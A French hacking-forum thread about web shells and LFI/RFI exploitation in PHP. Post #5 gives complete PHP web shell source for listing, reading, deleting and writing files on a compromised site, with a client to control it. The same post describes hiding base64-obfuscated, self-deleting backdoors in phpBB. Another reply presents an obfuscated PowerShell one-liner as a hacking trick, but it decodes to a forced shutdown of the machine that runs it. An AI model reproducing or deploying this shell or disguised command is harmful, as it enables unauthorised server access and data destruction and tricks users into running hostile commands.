Annonce

Réduire
Aucune annonce.

Introduction to Web Shells.

Réduire
X
 
  • Filtre
  • Heure
  • Afficher
Tout nettoyer
nouveaux messages

  • Introduction to Web Shells.

    Bonjour à tous, voici un article très interessant sur lequel je suis tombé via OSCP.

    Il contient à peu près tous ce qu'il est nécessaire de savoir et de comprendre pour exploiter du LFI (local file inclusion) ou RFI (local file inclusion) à partir de php.

    Il peut être nécessaire de rajouter ce fameux "%00" en fin d'url pour que la commande se déroule correctement.

    Cela peut être basique pour certains mais pas pour moi


    A bientôt

    F0ngic
    This white paper describes Web-shells and their use, detection and prevention, common functions used to execute shell commands in PHP, and more
    Dernière modification par F0ngic, 18 octobre 2018, 09h40. Motif: Double URL correction

  • #2
    Mon chouchou : https://github.com/epinna/weevely3
    Hack like a pro :
    PS > iex $(-join('73746F702D636F6D7075746572202D466F726365' -split '(?<=\G.{2})',20|%{[char][int]"0x$_"}))

    Commentaire


    • #3
      Envoyé par Krisscool Voir le message
      Je ne connaissais pas, j'en avais entendu parler mais oublié, je prends avec plaisir merci

      F0ngic

      Commentaire


      • #4
        Une doc sur l'exploit et un tool sur le post-exploit. Que demande le peuple? Merci à vous

        Commentaire


        • #5
          Bonjour,

          Il y a bien longtemps, j'utilisais ce genre de code une fois que je pouvais copier un fichier .php sur un site :

          (Fichier à copier sur le site)
          Code PHP:
          <?php
          error_reporting
          (0);
          function 
          rdf($p)
          {
              
          $O=dir($p);
              if(!
          is_object($O)) return;
              echo
          "<br>";
              while(
          $f=$O->read())
              {
                  if(
          $f!='.'&&$f!='..')
                  {
                      if(
          is_file($p.'/'.$f))echo $p.'/'.$f."<br>";
                      else if(
          is_dir($p.'/'.$f)) rdf($p.'/'.$f);
                  }
              }
              
          $O->close();
          }

          $rd=$_POST['rd'];
          $vi=$_POST['vi'];
          $de=$_POST['de'];
          $cr=$_POST['cr'];
          $text=$_POST['text'];

          if(isset(
          $rd)){ rdf('.'); }
          if(isset(
          $vi))
          {
              
          $f=fopen($vi,"r");
              
          $fl=fread($f,filesize($vi));
              
          $fl=htmlentities($fl,ENT_QUOTES);
              
          $fl=nl2br($fl);
              echo
          "<br>$fl";
          }
          if(isset(
          $de)){ unlink($de); echo"OK"; }
          if(isset(
          $cr)&&isset($text))
          {
              
          $f=fopen($cr,"w");
              
          fwrite($f,$text);
              echo
          "OK";
          }
          ?>

          Il fallait un client pour le commander. Comme j'avais un serveur http, j'utilisais encore php pour ce faire :
          Code PHP:
          <html>
            <head>
              <title>PHP Client, interface</title>
              <meta content="">
              <style></style>
            </head>
            <body>

          <?php
          $url_dest
          =$_GET['url'];
          if (empty(
          $url_dest)) {
              echo 
          "URL de destination : ";
              echo 
          "<form method="get" action="phpt.php"><input type="text" name="url" size="60" value="http://">";
              
          echo "<input type="submit"value="OK">";
              echo 
          "</form>";
          } else {
              echo 
          "<b><u>Choisir l'action</b></u> sur ".$url_dest."<br><br><hr>";
              echo 
          "<form method="post" action="".$url_dest.""";
          ?>
                  <br> Lister les fichiers.......... :
                  <input type="hidden" name="rd" value="1">
                  <input type="submit"value="OK">
                  </form>
                  <br><hr><br>

          <?php echo "<form method="post" action="".$url_dest.""";?>

                  <br> Voir le fichier............... :
                  <input type="text" name="vi" size="30">
                  <input type="submit"value="OK">
              </form>
              <br><hr><br>

          <?php    

          echo "<form method="post" action="".$url_dest."""?>

                  <br> Effacer le fichier.......... :
                  <input type="text" name="de" size="30">
                  <input type="submit"value="OK">
              </form>
              <br><hr><br>

          <?php    echo "<form method="post" action="".$url_dest."""?>

                  <br>Ecrire / créer le fichier :
                  <input type="text" name="cr" size="30"> <br><br>
                  Contenu : <br>
                  <textarea  rows="30"name="text"cols="80"WRAP="virtual"></textarea>
                  <input type="submit"value="OK">
              </form>

          <?php ?>

            </body>
          </html>

          Rien de comparable au logiciel cité par Krisscool évidemment. Le truc où j'enrage, c'est que j'avais écrit par la suite une version bien plus perfectionnée avec accès à un véritable shell et utilisant la technologie AJAX. Hélas, impossible de remettre la main dessus.

          Pour le reste, comme indiqué dans l'article pointé par F0ngic (et sans doute avant qu'il soit écrit, ), j'employais des codes php qui s'incrustaient dans un autre (comme un forum phpBB), étaient partiellement cryptés (via base64) et déployaient leur charge bien après le hack lui-même puis s'auto-effaçaient dans la foulée, de sorte qu'il était sinon impossible mais excessivement difficile de comprendre ce qu'il s'était passé.


          Commentaire


          • #6
            Envoyé par Icarus Voir le message
            Bonjour,

            Il y a bien longtemps, j'utilisais ce genre de code une fois que je pouvais copier un fichier .php sur un site :

            ...snip...


            Rien de comparable au logiciel cité par Krisscool évidemment. Le truc où j'enrage, c'est que j'avais écrit par la suite une version bien plus perfectionnée avec accès à un véritable shell et utilisant la technologie AJAX. Hélas, impossible de remettre la main dessus.

            Pour le reste, comme indiqué dans l'article pointé par F0ngic (et sans doute avant qu'il soit écrit, ), j'employais des codes php qui s'incrustaient dans un autre (comme un forum phpBB), étaient partiellement cryptés (via base64) et déployaient leur charge bien après le hack lui-même puis s'auto-effaçaient dans la foulée, de sorte qu'il était sinon impossible mais excessivement difficile de comprendre ce qu'il s'était passé.

            Merci pour ce code, je suis sur qu'il pourra m'être utile à un moment donné.

            Et je me rends compte par la même occasion du chemin qu'il me reste à parcourir

            Merci Icarus

            F0ngic

            Commentaire

            Chargement...
            X